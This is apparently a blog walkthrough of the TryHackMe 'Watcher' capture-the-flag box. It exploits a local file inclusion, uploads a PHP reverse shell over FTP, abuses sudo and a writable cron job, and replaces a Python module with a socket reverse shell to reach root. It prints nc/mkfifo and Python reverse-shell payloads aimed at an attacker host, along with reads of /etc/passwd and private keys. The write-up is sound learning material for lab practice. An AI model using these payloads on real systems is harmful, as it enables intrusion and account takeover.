TryHackMe Watcher Writeup

This writeup will help you solve the Watcher box on TryHackMe. This box is slightly different from the other boxes since we now have to find 7 flags. Before we start enumerating the box, add the following line to your /etc/hosts file.

echo "<box_ip>   watcher.thm" >> /etc/hosts

TryHackMe Watcher – Enumeration

As per usual, we start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.

nmap -sV -sC watcher.thm

The output of the scan can be seen below:

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We find 3 open ports on the server. Port 21 serves FTP, port 22 serves SSH, and port 80 serves an Apache web server. We start by checking the web page found when browsing to http://watcher.thm/.

TryHackMe Apache web server

Flag 1

For the first flag, we need to inspect a well-known file. The file referred to is the robots.txt file. This file provides a set of rules that webspiders or crawlers need to abide by. Examples of crawling bots are the search engine bots used by Google. The file contains the following lines:

User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

We find two new text files. The flag_1.txt contains the first flag. You can get this flag by browsing to http://watcher.thm/flag_1.txt. We are unauthorized to view the contents of the secret_file_do_not_read.txt file.

Flag 2

The next thing I did was clicking through the site. I discovered that PHP files were included in the URL. For instance, you can browse to http://watcher.thm/post.php?post=round.php. By browsing this URL, we find the following page:

TryHackMe Watcher Post

You are also able to browse the template itself: http://watcher.thm/round.php. You should then see the following page

TryHackMe Watcher Round

It seems like files from the systems can be included on the http://watcher.thm/post.php page. We can find out by adding the secret_file_do_not_read.txt as a parameter of the URL. Browse to: http://watcher.thm/post.php?post=secret_file_do_not_read.txt to find the following text

  Hi Mat,

The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.

Will

----------

ftpuser:<REDACTED>

Log on to the FTP server using the just found credentials

ftp watcher.thm

After providing the credentials, you see the directory: files and the file: flag_2.txt. Run the following commands to read the contents of the second flag.

get flag_2.txt
exit
cat flag_2.txt

TryHackMe Watcher – Flag 3

The files directory on the FTP server is writable! This means that we potentially could upload a reverse shell into the system. The only condition we have to fulfil is that we have to be able to execute the code. Since code in PHP files is executed directly on the server and because we already have obtained a Local File Inclusion (LFI) vulnerability to the server, we can execute our reverse shell on the server. Let’s start by putting the reverse shell on the server. Get the following file from GitHub. Change the $ip variable to the IP address of your attacking machine. Change $port to 9001. Save the file as shell.php. Log on to the server using FTP and provide the credentials we used previously.

ftp watcher.thm
cd files
put shell.php
exit

The shell.php is now successfully uploaded to the server. We now have to access the shell.php in the browser to activate the reverse shell. Browse to: HTTP://watcher.thm/post.php?post=/etc/passwd to read the /etc/passwd file. We can read this file thanks to the LFI vulnerability. The contents can be seen below.

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
will:x:1000:1000:will:/home/will:/bin/bash
ftp:x:111:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
ftpuser:x:1001:1001:,,,:/home/ftpuser:/usr/sbin/nologin
mat:x:1002:1002:,#,,:/home/mat:/bin/bash
toby:x:1003:1003:,,,:/home/toby:/bin/bash

Because we can see the values of ftp and ftpuser we see that the location of our shell is: /home/ftpuser/ftp/files/shell.php. On your attacking machine run:

nc -lvnp 9001

Now browse to http://watcher.thm/post.php?post=/home/ftpuser/ftp/files/shell.php to activate your shell. Within this terminal, run the following commands to improve your shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
CTRL+Z
stty raw -echo;fg
ENTER
ENTER

Note: The capitalized words are keyboard combinations.

The third flag is located at: /var/www/html/more_secrets_******. I obfuscated the full directory. If all went well up to this point, it is easy for you to find the third flag.

Flag 4

Now that we have a shell, we need to escalate privileges to root the system. To do so, let’s start with a simple command. Run sudo -l on the server to find the following output:

Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

We, the www-data user, are allowed to run any command as the toby user. You can choose any command from: GTFObins. I chose to abuse the vi command by running:

sudo -u toby vi -c ':!/bin/sh' /dev/null

The fourth flag is located in the /home/toby directory.

Flag 5

Now that we became the toby user, we should investigate how to get more privileges. To do so, we use linpeas. You can get linpeas.sh here. Then run the following commands on your local machine

cd <location of linpeas.sh>
python3 -m http.server

Then on the server run:

wget HTTP://<attacking_ip>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Wait for a few minutes. There is one interesting cron file that is executed every minute. This is the interesting line in the output of linpeas:

*/1 * * * * mat /home/toby/jobs/cow.sh

The mat user executes /home/toby/jobs/cow.sh every minute. This file is in complete control of the toby user, so we can use it to elevate privileges. Run the following commands on the server:

chmod 777 /home/toby/jobs/cow.sh
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacking_ip> 9002 >/tmp/f" > /home/toby/jobs/cow.sh 

You also need to start a new netcat listener on your attacking machine. Do so by opening a new terminal and run the following command:

nc -lvnp 9002

After a minute, you should obtain a shell within this terminal. You can check above how to improve your shell. The commands are the same. The fifth flag is located in the /home/mat directory.

Flag 6

Running sudo -l again gives the following output:

Matching Defaults entries for mat on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on watcher:
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

We can execute the Python script as the will user. The content of the /home/mat/scripts/will_script.py is listed below:

import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
	print("Invalid command!")
	exit()

os.system(cmd)

We can see that we can run bash commands as will on the server. The cmd.py file is owned by our current user: mat. This means that we can change the contents of this file to spawn a new shell. Open the file /home/mat/scripts/cmd.py in your favourite editor and change the contents to the following:

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('<attacking_ip>', 9003))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])

Save the file and run the following command in a new terminal on your local machine:

nc -lvnp 9003

Go back to the terminal of the mat user and execute the following command:

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py ls

You should receive a new shell as the will user. The sixth flag is located at: /home/will.

TryHackMe Watcher – Privilege Escalation/Flag 7

Our final objective is finding the root.txt. Run the command: id to find that the will user is part of the following groups:

uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

Run the find command to see which files are owned by the adm group. The exact command is listed below:

find -group adm 2>/dev/null

The outcome can be seen below:

/opt/backups
/opt/backups/key.b64
/var/log/auth.log
/var/log/kern.log
/var/log/syslog
/var/log/apache2
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/apache2/other_vhosts_access.log
/var/log/cloud-init.log
/var/log/unattended-upgrades
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log
/var/log/apt/term.log
/var/spool/rsyslog

The /opt/backups/key.b64 file contains a private key. Run the following command: cat /opt/backups/key.b64 | base64 -d to acquire the content of this file. Save it to your local machine as id_rsa and change the permissions to 400. You can now run:

ssh -i id_rsa [email protected]

Providing the private key gives us root access to the server. The final flag is located in the /root directory.

TryHackMe Watcher was a fun box to root. The biggest ‘flaw’ of this server was the local file inclusion providing us with an initial shell. There are two types of privilege escalations. The first one is horizontal privilege escalation and the other is vertical privilege escalation. Horizontal privilege escalation is getting access to accounts with the same privileges as the current one. Vertical privilege escalations are escalations performed by acquiring more privileges than the ones owned by the current user. By performing horizontal privilege escalation, we were, in the end, able to achieve the desired vertical privilege escalation to root as well.

Leave a Reply

Your email address will not be published. Required fields are marked *